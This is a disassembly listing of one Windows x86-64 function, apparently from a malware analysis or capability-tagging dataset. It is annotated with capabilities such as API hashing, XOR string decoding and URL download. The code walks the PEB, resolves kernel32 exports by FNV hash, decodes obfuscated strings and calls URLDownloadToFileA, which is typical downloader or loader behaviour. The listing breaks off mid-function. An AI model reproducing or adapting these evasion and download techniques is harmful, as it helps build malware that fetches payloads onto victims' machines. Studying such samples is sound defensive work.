Function at 0x140048080
Capabilities:
Access peb ldr_data
Download url
Encode data using xor
Get kernel32 base address
Hash data using fnv
Receive data
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x5d0]
sub rsp, 0x6d0
mov rax, qword [0x1402a2cf8]
xor rax, rsp
mov qword [rbp + 0x5c0], rax
mov qword [rsp + 0x38], rcx
mov qword [rsp + 0x30], rcx
lea r9, [0x1402a7460]
lea r8, [0x1402a7440]
lea r14, [0x1402a7480]
mov rdx, r14
lea rcx, [rbp + 0x200]
call fcn.14004eb60
nop
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140048176
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140048176
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov ecx, dword [rcx + r10]
add rcx, r10
mov r8d, 0x811c9dc5
movzx edx, byte [rcx]
inc rcx
test dl, dl
je 0x140048171
nop
movsx edx, dl
xor edx, r8d
imul r8d, edx, 0x1000193
movzx edx, byte [rcx]
lea rcx, [rcx + 1]
test dl, dl
jne 0x140048150
cmp r8d, 0x70e2d349
je 0x14004817b
test r9d, r9d
jne 0x140048130
mov rax, qword [rax]
jmp 0x140048100
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov r9d, dword [rcx + rax*4]
add r9, r10
lea r8, [rbp + 0x200]
cmp qword [rbp + 0x218], 0x10
cmovae r8, qword [rbp + 0x200]
movabs rax, 0x409f011bc151f41b
mov qword [rbp + 0x80], rax
movabs rax, 0xb6cce91af822fc47
mov qword [rbp + 0x88], rax
movabs rax, 0xf6c23479154f40b
mov qword [rbp + 0x90], rax
movabs rax, 0xb76db5347c359534
mov qword [rbp + 0x98], rax
movabs r12, 0x32fa7734a8219534
mov qword [rbp + 0x270], r12
movabs rbx, 0xc6a49934964d9534
mov qword [rbp + 0x278], rbx
movabs rcx, 0xf6c2334b4699534
mov qword [rbp + 0x280], rcx
mov qword [rbp + 0x288], rax
movdqa xmm0, xmmword [rbp + 0x80]
pxor xmm0, xmmword [rbp + 0x270]
movdqa xmmword [rbp + 0x80], xmm0
movdqa xmm1, xmmword [rbp + 0x90]
pxor xmm1, xmmword [rbp + 0x280]
movdqa xmmword [rbp + 0x90], xmm1
lea rdx, [rbp + 0x80]
lea rcx, [rbp + 0x2b0]
call r9
lea rax, [rsp + 0x40]
mov qword [rsp + 0x30], rax
xor r15d, r15d
mov qword [rsp + 0x40], r15
mov qword [rsp + 0x50], r15
mov qword [rsp + 0x58], 0xf
lea rax, [rbp + 0x2b0]
mov rdi, 0xffffffffffffffff
mov r8, rdi
nop word [rax + rax]
inc r8
cmp byte [rax + r8], r15b
jne 0x1400482a0
lea rdx, [rbp + 0x2b0]
lea rcx, [rsp + 0x40]
call fcn.14000c110
nop
lea rdx, [0x1402a7420]
lea rcx, [rsp + 0x60]
call fcn.140009740
nop
lea r8, [rsp + 0x40]
mov rdx, rax
lea rcx, [rbp + 0x10]
call fcn.1400968e0
nop
movabs rsi, 0x519f0546c742fb5d
mov qword [rbp + 0x120], rsi
movabs r13, 0xa9cdea46f33bca40
mov qword [rbp + 0x128], r13
movabs rax, 0xf6c2334b469955a
mov qword [rbp + 0x130], rax
movabs rax, 0xb76db5347c359534
mov qword [rbp + 0x138], rax
mov qword [rbp + 0x290], r12
mov qword [rbp + 0x298], rbx
movabs rcx, 0xf6c2334b4699534
mov qword [rbp + 0x2a0], rcx
mov qword [rbp + 0x2a8], rax
movdqa xmm0, xmmword [rbp + 0x120]
pxor xmm0, xmmword [rbp + 0x290]
movdqa xmmword [rbp + 0x120], xmm0
movdqa xmm1, xmmword [rbp + 0x130]
pxor xmm1, xmmword [rbp + 0x2a0]
movdqa xmmword [rbp + 0x130], xmm1
mov qword [rbp + 0x1c0], r15
mov qword [rbp + 0x1d0], r15
mov qword [rbp + 0x1d8], 0xf
mov byte [rbp + 0x1c0], 0
lea rax, [rbp + 0x120]
mov r8, rdi
inc r8
cmp byte [rax + r8], 0
jne 0x1400483a3
lea rdx, [rbp + 0x120]
lea rcx, [rbp + 0x1c0]
call fcn.14000c110
nop
lea r9, [0x1402a7460]
lea r8, [0x1402a7440]
lea rdx, [rbp + 0x1c0]
lea rcx, [rbp + 0x220]
call fcn.14004eb60
mov rdx, qword [rax + 0x10]
cmp qword [rax + 0x18], 0x10
jb 0x1400483f0
mov rax, qword [rax]
lea rcx, [rbp + 0x10]
cmp qword [rbp + 0x28], 0x10
cmovae rcx, qword [rbp + 0x10]
mov r8, qword [rbp + 0x20]
cmp r8, rdx
jne 0x140048417
mov rdx, rax
call fcn.1400b75e0
test eax, eax
jne 0x140048417
xor bl, bl
jmp 0x140048419
mov bl, 1
mov rdx, qword [rbp + 0x238]
cmp rdx, 0x10
jb 0x14004845a
inc rdx
mov rcx, qword [rbp + 0x220]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140048455
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400497a4
call fcn.14009aa1c
mov qword [rbp + 0x230], r15
mov qword [rbp + 0x238], 0xf
mov byte [rbp + 0x220], 0
mov rdx, qword [rbp + 0x1d8]
cmp rdx, 0x10
jb 0x1400484b4
inc rdx
mov rcx, qword [rbp + 0x1c0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400484af
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400497aa
call fcn.14009aa1c
lea r12, [0x1402a73e0]
mov r8, rdi
test bl, bl
je 0x14004890f
movabs rax, 0x32fa7734a821950f
mov qword [rbp - 0x80], rax
movabs rax, 0xc6a49934964d9534
mov qword [rbp - 0x78], rax
movabs rcx, 0x32fa7734a8219534
mov qword [rbp + 0x80], rcx
mov qword [rbp + 0x88], rax
movdqa xmm0, xmmword [rbp - 0x80]
pxor xmm0, xmmword [rbp + 0x80]
movdqa xmmword [rbp - 0x80], xmm0
mov qword [rbp - 0x50], r15
mov qword [rbp - 0x40], r15
mov qword [rbp - 0x38], 0xf
mov byte [rbp - 0x50], 0
lea rax, [rbp - 0x80]
inc r8
cmp byte [rax + r8], 0
jne 0x140048524
lea rdx, [rbp - 0x80]
lea rcx, [rbp - 0x50]
call fcn.14000c110
nop
lea rdx, [rbp + 0x10]
cmp qword [rbp + 0x28], 0x10
cmovae rdx, qword [rbp + 0x10]
mov qword [rbp - 0x30], r15
mov qword [rbp - 0x20], r15
mov qword [rbp - 0x18], 0xf
mov byte [rbp - 0x30], 0
mov r8, rdi
inc r8
cmp byte [rdx + r8], 0
jne 0x140048561
lea rcx, [rbp - 0x30]
call fcn.14000c110
nop
lea r8, [rbp - 0x50]
lea rdx, [rbp - 0x30]
lea rcx, [rbp - 0x10]
call fcn.1400987c0
nop
mov rdx, qword [rbp - 0x18]
cmp rdx, 0x10
jb 0x1400485c2
inc rdx
mov rcx, qword [rbp - 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400485bd
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400497b0
call fcn.14009aa1c
mov qword [rbp - 0x20], r15
mov qword [rbp - 0x18], 0xf
mov byte [rbp - 0x30], 0
mov rdx, qword [rbp - 0x38]
cmp rdx, 0x10
jb 0x14004860d
inc rdx
mov rcx, qword [rbp - 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140048608
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400497b6
call fcn.14009aa1c
mov qword [rbp - 0x40], r15
mov qword [rbp - 0x38], 0xf
mov byte [rbp - 0x50], 0
lea r9, [0x1402a7460]
lea r8, [0x1402a7440]
mov rdx, qword [rbp - 0x10]
lea rcx, [rbp + 0x1a0]
call fcn.14004e920
mov rdx, rax
mov rcx, r12
call fcn.14000ae00
mov rdx, qword [rbp + 0x1b8]
cmp rdx, 0x10
jb 0x140048687
inc rdx
mov rcx, qword [rbp + 0x1a0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140048682
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400497bc
call fcn.14009aa1c
mov rdx, qword [rbp - 0x10]
add rdx, 0x20
lea r9, [0x1402a7460]
lea r8, [0x1402a7440]
lea rcx, [rbp + 0x180]
call fcn.14004e920
mov rdx, rax
lea rcx, [0x1402a7400]
call fcn.14000ae00
mov rdx, qword [rbp + 0x198]
cmp rdx, 0x10
jb 0x1400486fa
inc rdx
mov rcx, qword [rbp + 0x180]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400486f4
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400497c2
call fcn.14009aa1c
nop
mov rbx, qword [rbp - 0x10]
test rbx, rbx
je 0x14004879e
mov rsi, qword [rbp - 8]
cmp rbx, rsi
je 0x140048766
mov rdx, qword [rbx + 0x18]
cmp rdx, 0x10
jb 0x14004874a
mov rcx, qword [rbx]
inc rdx
cmp rdx, 0x1000
jb 0x140048745
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x1400497c8
mov rcx, r8
call fcn.14009aa1c
mov qword [rbx + 0x10], r15
mov qword [rbx + 0x18], 0xf
mov byte [rbx], 0
add rbx, 0x20
cmp rbx, rsi
jne 0x140048710
mov rbx, qword [rbp - 0x10]
mov rdx, qword [rbp]
sub rdx, rbx
and rdx, 0xffffffffffffffe0
mov rax, rbx
cmp rdx, 0x1000
jb 0x140048796
add rdx, 0x27
mov rbx, qword [rbx - 8]
sub rax, rbx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400497c8
mov rcx, rbx
call fcn.14009aa1c
mov rdx, r14
mov r14, qword [0x1402a7480]
mov r15, qword [0x1402a7498]
cmp r15, 0x10
cmovae rdx, r14
mov rcx, r12
mov r12, qword [0x1402a73e0]
mov r13, qword [0x1402a73f8]
cmp r13, 0x10
cmovae rcx, r12
mov rbx, qword [0x1402a7410]
mov rsi, qword [0x1402a73f0]
mov rax, qword [0x1402a7490]
cmp rsi, rax
jne 0x1400494a7
mov r8, rsi
call fcn.1400b75e0
test eax, eax
jne 0x1400494a0
movabs rax, 0x569f1b56c952fc70
mov qword [rbp - 0x70], rax
movabs rax, 0xc6a49934964d9534
mov qword [rbp - 0x68], rax
movabs rcx, 0x32fa7734a8219534
mov qword [rbp - 0x80], rcx
mov qword [rbp - 0x78], rax
movdqa xmm0, xmmword [rbp - 0x70]
pxor xmm0, xmmword [rbp - 0x80]
movdqa xmmword [rbp - 0x70], xmm0
lea rcx, [rbp - 0x70]
mov rax, rdi
inc rax
cmp byte [rcx + rax], 0
jne 0x140048842
lea rcx, [0x1402a7400]
cmp qword [0x1402a7418], 0x10
cmovae rcx, qword [0x1402a7400]
cmp rbx, rax
jne 0x1400494a0
mov r8, rbx
lea rdx, [rbp - 0x70]
call fcn.1400b75e0
test eax, eax
jne 0x1400494a0
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14004890a
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14004890a
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140048905
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x1400488e0
cmp r8d, 0x23a979e4
je 0x140049382
test r9d, r9d
jne 0x1400488c0
mov rax, qword [rax]
jmp 0x140048890
mov qword [rbp + 0x140], rsi
mov qword [rbp + 0x148], r13
movabs rax, 0xf6c2334b469955a
mov qword [rbp + 0x150], rax
movabs rax, 0xb76db5347c359534
mov qword [rbp + 0x158], rax
movabs r13, 0x32fa7734a8219534
mov qword [rbp + 0x180], r13
movabs rsi, 0xc6a49934964d9534
mov qword [rbp + 0x188], rsi
movabs rcx, 0xf6c2334b4699534
mov qword [rbp + 0x190], rcx
mov qword [rbp + 0x198], rax
movdqa xmm0, xmmword [rbp + 0x140]
pxor xmm0, xmmword [rbp + 0x180]
movdqa xmmword [rbp + 0x140], xmm0
movdqa xmm1, xmmword [rbp + 0x150]
pxor xmm1, xmmword [rbp + 0x190]
movdqa xmmword [rbp + 0x150], xmm1
mov qword [rbp + 0x1e0], r15
mov qword [rbp + 0x1f0], r15
mov qword [rbp + 0x1f8], 0xf
mov byte [rbp + 0x1e0], 0
lea rax, [rbp + 0x140]
inc r8
cmp byte [rax + r8], 0
jne 0x1400489d0
lea rdx, [rbp + 0x140]
lea rcx, [rbp + 0x1e0]
call fcn.14000c110
nop
lea r9, [0x1402a7460]
lea r8, [0x1402a7440]
lea rdx, [rbp + 0x1e0]
lea rcx, [rbp + 0x1a0]
call fcn.14004eb60
mov rdx, qword [rax + 0x10]
cmp qword [rax + 0x18], 0x10
jb 0x140048a1d
mov rax, qword [rax]
lea rcx, [rbp + 0x10]
cmp qword [rbp + 0x28], 0x10
cmovae rcx, qword [rbp + 0x10]
mov r8, qword [rbp + 0x20]
cmp r8, rdx
jne 0x140048a44
mov rdx, rax
call fcn.1400b75e0
test eax, eax
jne 0x140048a44
mov bl, 1
jmp 0x140048a46
xor bl, bl
mov rdx, qword [rbp + 0x1b8]
cmp rdx, 0x10
jb 0x140048a87
inc rdx
mov rcx, qword [rbp + 0x1a0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140048a82
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400497ce
call fcn.14009aa1c
mov qword [rbp + 0x1b0], r15
mov qword [rbp + 0x1b8], 0xf
mov byte [rbp + 0x1a0], 0
mov rdx, qword [rbp + 0x1f8]
cmp rdx, 0x10
jb 0x140048ae1
inc rdx
mov rcx, qword [rbp + 0x1e0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140048adc
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400497d4
call fcn.14009aa1c
test bl, bl
je 0x14004879e
mov r8d, 0x104
lea rdx, [rbp + 0x4b0]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov edx, 8
lea rcx, [rbp + 0xa0]
call fcn.1400963c0
nop
cmp qword [rax + 0x18], 0x10
jb 0x140048b1a
mov rax, qword [rax]
mov qword [rbp + 0xe0], r15
mov qword [rbp + 0xf0], r15
mov qword [rbp + 0xf8], 0xf
mov byte [rbp + 0xe0], 0
mov r8, rdi
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140048b40
mov rdx, rax
lea rcx, [rbp + 0xe0]
call fcn.14000c110
nop
mov rdx, qword [rbp + 0xb8]
cmp rdx, 0x10
jb 0x140048b9b
inc rdx
mov rcx, qword [rbp + 0xa0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140048b96
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400497da
call fcn.14009aa1c
mov qword [rbp + 0xb0], r15
mov qword [rbp + 0xb8], 0xf
mov byte [rbp + 0xa0], 0
movabs rax, 0x32fa7734cd59f01a
mov qword [rbp - 0x80], rax
mov qword [rbp - 0x78], rsi
mov qword [rbp - 0x60], r13
mov qword [rbp - 0x58], rsi
movdqa xmm0, xmmword [rbp - 0x80]
pxor xmm0, xmmword [rbp - 0x60]
movdqa xmmword [rbp - 0x80], xmm0
mov qword [rbp + 0xc0], r15
mov qword [rbp + 0xd0], r15
mov qword [rbp + 0xd8], 0xf
mov byte [rbp + 0xc0], 0
lea rax, [rbp - 0x80]
mov r8, rdi
inc r8
cmp byte [rax + r8], 0
jne 0x140048c04
lea rdx, [rbp - 0x80]
lea rcx, [rbp + 0xc0]
call fcn.14000c110
nop
movabs rcx, 0x7fffffffffffffff
mov rax, rcx
mov r14, qword [rbp + 0xf0]
sub rax, r14
mov r15, qword [rbp + 0xd0]
cmp rax, r15
jb 0x1400497e0
lea r13, [rbp + 0xe0]
cmp qword [rbp + 0xf8], 0x10
cmovae r13, qword [rbp + 0xe0]
lea rax, [rbp + 0xc0]
cmp qword [rbp + 0xd8], 0x10
cmovae rax, qword [rbp + 0xc0]
mov qword [rsp + 0x30], rax
xor edx, edx
mov qword [rbp - 0x50], rdx
mov qword [rbp - 0x40], rdx
mov qword [rbp - 0x38], rdx
lea r12, [r14 + r15]
mov ebx, 0xf
lea rsi, [rbp - 0x50]
movabs rax, 0x8000000000000027
lea r8d, [rdx + 0x16]
cmp r12, rbx
jbe 0x140048d0e
mov rbx, r12
or rbx, 0xf
cmp rbx, rcx
jbe 0x140048cd5
mov rbx, rcx
mov rcx, rax
call fcn.14009a9e0
test rax, rax
je 0x140049816
lea rsi, [rax + 0x27]
and rsi, 0xffffffffffffffe0
mov qword [rsi - 8], rax
jmp 0x140048d0a
cmp rbx, r8
cmovb rbx, r8
lea rcx, [rbx + 1]
cmp rcx, 0x1000
jb 0x140048cf8
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140049798
jmp 0x140048cb6
test rcx, rcx
je 0x140048d07
call fcn.14009a9e0
mov rsi, rax
jmp 0x140048d0a
mov rsi, rdx
mov qword [rbp - 0x50], rsi
mov qword [rbp - 0x40], r12
mov qword [rbp - 0x38], rbx
mov r8, r14
mov rdx, r13
mov rcx, rsi
call fcn.1400b76e0
lea rcx, [r14 + rsi]
mov r8, r15
mov rdx, qword [rsp + 0x30]
call fcn.1400b76e0
mov byte [rsi + r12], 0
movabs rax, 0x1dd54d47d855e15c
mov qword [rbp + 0x50], rax
movabs rax, 0xafd0f85aff20fa50
mov qword [rbp + 0x58], rax
movabs rax, 0x611b4c509b1ce61a
mov qword [rbp + 0x60], rax
movabs rax, 0xc705c51a1854fa58
mov qword [rbp + 0x68], rax
movabs rdx, 0x48048f340d319534
mov qword [rbp + 0x70], rdx
movabs rcx, 0xdbaeb134fb5d9534
mov qword [rbp + 0x78], rcx
movabs r14, 0x32fa7734a8219534
mov qword [rbp + 0x240], r14
movabs rbx, 0xc6a49934964d9534
mov qword [rbp + 0x248], rbx
movabs rax, 0xf6c2334b4699534
mov qword [rbp + 0x250], rax
movabs r8, 0xb76db5347c359534
mov qword [rbp + 0x258], r8
mov qword [rbp + 0x260], rdx
mov qword [rbp + 0x268], rcx
movdqa xmm0, xmmword [rbp + 0x50]
pxor xmm0, xmmword [rbp + 0x240]
movdqa xmmword [rbp + 0x50], xmm0
movdqa xmm1, xmmword [rbp + 0x60]
pxor xmm1, xmmword [rbp + 0x250]
movdqa xmmword [rbp + 0x60], xmm1
movdqa xmm0, xmmword [rbp + 0x70]
pxor xmm0, xmmword [rbp + 0x260]
movdqa xmmword [rbp + 0x70], xmm0
xor esi, esi
mov qword [rbp - 0x30], rsi
mov qword [rbp - 0x20], rsi
mov qword [rbp - 0x18], 0xf
mov byte [rbp - 0x30], sil
lea rax, [rbp + 0x50]
mov r8, rdi
inc r8
cmp byte [rax + r8], sil
jne 0x140048e33
lea rdx, [rbp + 0x50]
lea rcx, [rbp - 0x30]
call fcn.14000c110
nop
movabs rax, 0x32fa7734a821ba1a
mov qword [rbp - 0x70], rax
mov qword [rbp - 0x68], rbx
mov qword [rbp - 0x60], r14
mov qword [rbp - 0x58], rbx
movdqa xmm0, xmmword [rbp - 0x70]
pxor xmm0, xmmword [rbp - 0x60]
movdqa xmmword [rbp - 0x70], xmm0
lea rax, [rbp - 0x70]
mov rbx, rdi
nop word [rax + rax]
inc rbx
cmp byte [rax + rbx], 0
jne 0x140048e80
movabs rcx, 0x7fffffffffffffff
mov rax, rcx
mov r15, qword [rbp - 0x40]
sub rax, r15
cmp rax, rbx
jb 0x1400497e6
lea rax, [rbp - 0x50]
mov r13, qword [rbp - 0x50]
cmp qword [rbp - 0x38], 0x10
cmovae rax, r13
mov qword [rsp + 0x30], rax
mov qword [rbp - 0x10], rsi
mov qword [rbp], rsi
mov qword [rbp + 8], rsi
lea r12, [r15 + rbx]
mov esi, 0xf
lea r14, [rbp - 0x10]
cmp r12, rsi
jbe 0x140048f51
mov rsi, r12
or rsi, 0xf
cmp rsi, rcx
jbe 0x140048f12
mov rsi, rcx
movabs rax, 0x8000000000000027
mov rcx, rax
call fcn.14009a9e0
test rax, rax
je 0x14004980a
lea r14, [rax + 0x27]
and r14, 0xffffffffffffffe0
mov qword [r14 - 8], rax
jmp 0x140048f4d
cmp rsi, 0x16
mov eax, 0x16
cmovb rsi, rax
lea rcx, [rsi + 1]
cmp rcx, 0x1000
jb 0x140048f3b
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x14004979e
jmp 0x140048ef3
test rcx, rcx
je 0x140048f4a
call fcn.14009a9e0
mov r14, rax
jmp 0x140048f4d
xor r14d, r14d
mov qword [rbp - 0x10], r14
mov qword [rbp], r12
mov qword [rbp + 8], rsi
mov r8, rbx
lea rdx, [rbp - 0x70]
mov rcx, r14
call fcn.1400b76e0
lea rcx, [r14 + rbx]
mov r8, r15
mov rdx, qword [rsp + 0x30]
call fcn.1400b76e0
mov byte [r14 + r12], 0
lea r8, [rbp - 0x10]
cmp qword [rbp + 8], 0x10
cmovae r8, qword [rbp - 0x10]
lea rdx, [rbp - 0x30]
cmp qword [rbp - 0x18], 0x10
cmovae rdx, qword [rbp - 0x30]
xor ebx, ebx
mov qword [rsp + 0x20], rbx
xor r9d, r9d
xor ecx, ecx
call sub.urlmon.dll_URLDownloadToFileA
movabs rax, 0x3030303030303030
mov dword [rsp + 0x30], eax
mov qword [rbp + 0x160], rbx
mov qword [rbp + 0x170], rbx
mov qword [rbp + 0x178], 0xf
mov byte [rbp + 0x160], bl
lea rax, [rsp + 0x30]
mov r8, rdi
inc r8
cmp byte [rax + r8], bl
jne 0x140048fe0
lea rdx, [rsp + 0x30]
lea rcx, [rbp + 0x160]
call fcn.14000c110
nop
lea rax, [rbp + 0x100]
mov qword [rbp + 0x80], rax
xor edx, edx
mov qword [rbp + 0x100], rdx
mov qword [rbp + 0x110], rdx
mov qword [rbp + 0x118], rdx
lea r12, [rbp + 0x160]
mov rsi, qword [rbp + 0x160]
cmp qword [rbp + 0x178], 0x10
cmovae r12, rsi
mov r14, qword [rbp + 0x170]
cmp r14, 0x10
jae 0x140049058
movups xmm0, xmmword [r12]
movups xmmword [rbp + 0x100], xmm0
lea ebx, [rdx + 0xf]
jmp 0x1400490d3
mov rbx, r14
or rbx, 0xf
movabs rax, 0x7fffffffffffffff
cmp rbx, rax
cmova rbx, rax
lea rcx, [rbx + 1]
cmp rcx, 0x1000
jb 0x1400490ac
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x1400497ec
mov rcx, rax
call fcn.14009a9e0
mov rcx, rax
test rax, rax
je 0x1400497f2
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
jmp 0x1400490bb
test rcx, rcx
je 0x1400490b8
call fcn.14009a9e0
jmp 0x1400490bb
mov rax, rdx
mov qword [rbp + 0x100], rax
lea r8, [r14 + 1]
mov rdx, r12
mov rcx, rax
call fcn.1400b76e0
xor edx, edx
mov qword [rbp + 0x110], r14
mov qword [rbp + 0x118], rbx
mov qword [rbp + 0x30], rdx
mov qword [rbp + 0x40], rdx
mov qword [rbp + 0x48], rdx
lea r14, [rbp - 0x50]
mov r12, qword [rbp - 0x38]
cmp r12, 0x10
cmovae r14, r13
cmp r15, 0x10
jae 0x140049112
movups xmm0, xmmword [r14]
movups xmmword [rbp + 0x30], xmm0
mov ebx, 0xf
jmp 0x140049188
mov rbx, r15
or rbx, 0xf
movabs rax, 0x7fffffffffffffff
cmp rbx, rax
cmova rbx, rax
lea rcx, [rbx + 1]
cmp rcx, 0x1000
jb 0x140049166
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x1400497f8
mov rcx, rax
call fcn.14009a9e0
mov rcx, rax
test rax, rax
je 0x1400497fe
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
jmp 0x140049175
test rcx, rcx
je 0x140049172
call fcn.14009a9e0
jmp 0x140049175
mov rax, rdx
mov qword [rbp + 0x30], rax
lea r8, [r15 + 1]
mov rdx, r14
mov rcx, rax
call fcn.1400b76e0
mov qword [rbp + 0x40], r15
mov qword [rbp + 0x48], rbx
lea rdx, [rbp + 0x100]
lea rcx, [rbp + 0x30]
call fcn.140044ff0
nop
mov rax, qword [rbp + 0x178]
cmp rax, 0x10
jb 0x1400491e0
lea rdx, [rax + 1]
mov rax, rsi
cmp rdx, 0x1000
jb 0x1400491d7
add rdx, 0x27
mov rsi, qword [rsi - 8]
sub rax, rsi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140049804
mov rcx, rsi
call fcn.14009aa1c
nop
mov rdx, qword [rbp + 8]
cmp rdx, 0x10
jb 0x14004921b
inc rdx
mov rcx, qword [rbp - 0x10]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140049216
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14004980a
call fcn.14009aa1c
xor esi, esi
mov qword [rbp], rsi
mov qword [rbp + 8], 0xf
mov byte [rbp - 0x10], sil
mov rdx, qword [rbp - 0x18]
cmp rdx, 0x10
jb 0x140049268
inc rdx
mov rcx, qword [rbp - 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140049263
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140049810
call fcn.14009aa1c
mov qword [rbp - 0x20], rsi
mov qword [rbp - 0x18], 0xf
mov byte [rbp - 0x30], 0
cmp r12, 0x10
jb 0x1400492b1
lea rdx, [r12 + 1]
mov rax, r13
cmp rdx, 0x1000
jb 0x1400492a8
add rdx, 0x27
mov r13, qword [r13 - 8]
sub rax, r13
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140049816
mov rcx, r13
call fcn.14009aa1c
nop
mov rax, qword [rbp + 0xd8]
cmp rax, 0x10
jb 0x1400492f4
lea rdx, [rax + 1]
mov rcx, qword [rbp + 0xc0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400492ee
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14004981c
call fcn.14009aa1c
nop
mov rax, qword [rbp + 0xf8]
cmp rax, 0x10
jb 0x140049336
lea rdx, [rax + 1]
mov rcx, qword [rbp + 0xe0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140049331
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140049792
call fcn.14009aa1c
mov rbx, qword [rsp + 0x38]
mov qword [rbx], rsi
mov qword [rbx + 0x10], rsi
mov qword [rbx + 0x18], 0xf
mov byte [rbx], 0
nop dword [rax]
inc rdi
cmp byte [rsi + rdi], 0
jne 0x140049350
mov r8, rdi
xor edx, edx
mov rcx, rbx
call fcn.14000c110
nop
lea rcx, [rbp + 0x10]
call fcn.1400096e0
nop
lea rcx, [rbp + 0x200]
call fcn.1400096e0
jmp 0x14004975f
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov ebx, dword [rcx + rax*4]
add rbx, r10
mov edx, 0x10
lea rcx, [rbp + 0x100]
call fcn.1400963c0
nop
cmp qword [rax + 0x18], 0x10
jb 0x1400493b5
mov rax, qword [rax]
movabs rcx, 0x5bda0551cc40fa78
mov qword [rbp + 0x30], rcx
movabs rcx, 0xa8c1eb46e32eb547
mov qword [rbp + 0x38], rcx
movabs rcx, 0x6e1f4a509410f940
mov qword [rbp + 0x40], rcx
movabs rcx, 0xb76db51a1850f956
mov qword [rbp + 0x48], rcx
movabs rcx, 0x32fa7734a8219534
mov qword [rbp + 0xa0], rcx
movabs rsi, 0xc6a49934964d9534
mov qword [rbp + 0xa8], rsi
movabs rcx, 0xf6c2334b4699534
mov qword [rbp + 0xb0], rcx
movabs r8, 0xb76db5347c359534
mov qword [rbp + 0xb8], r8
movdqa xmm0, xmmword [rbp + 0x30]
pxor xmm0, xmmword [rbp + 0xa0]
movdqa xmmword [rbp + 0x30], xmm0
movdqa xmm1, xmmword [rbp + 0x40]
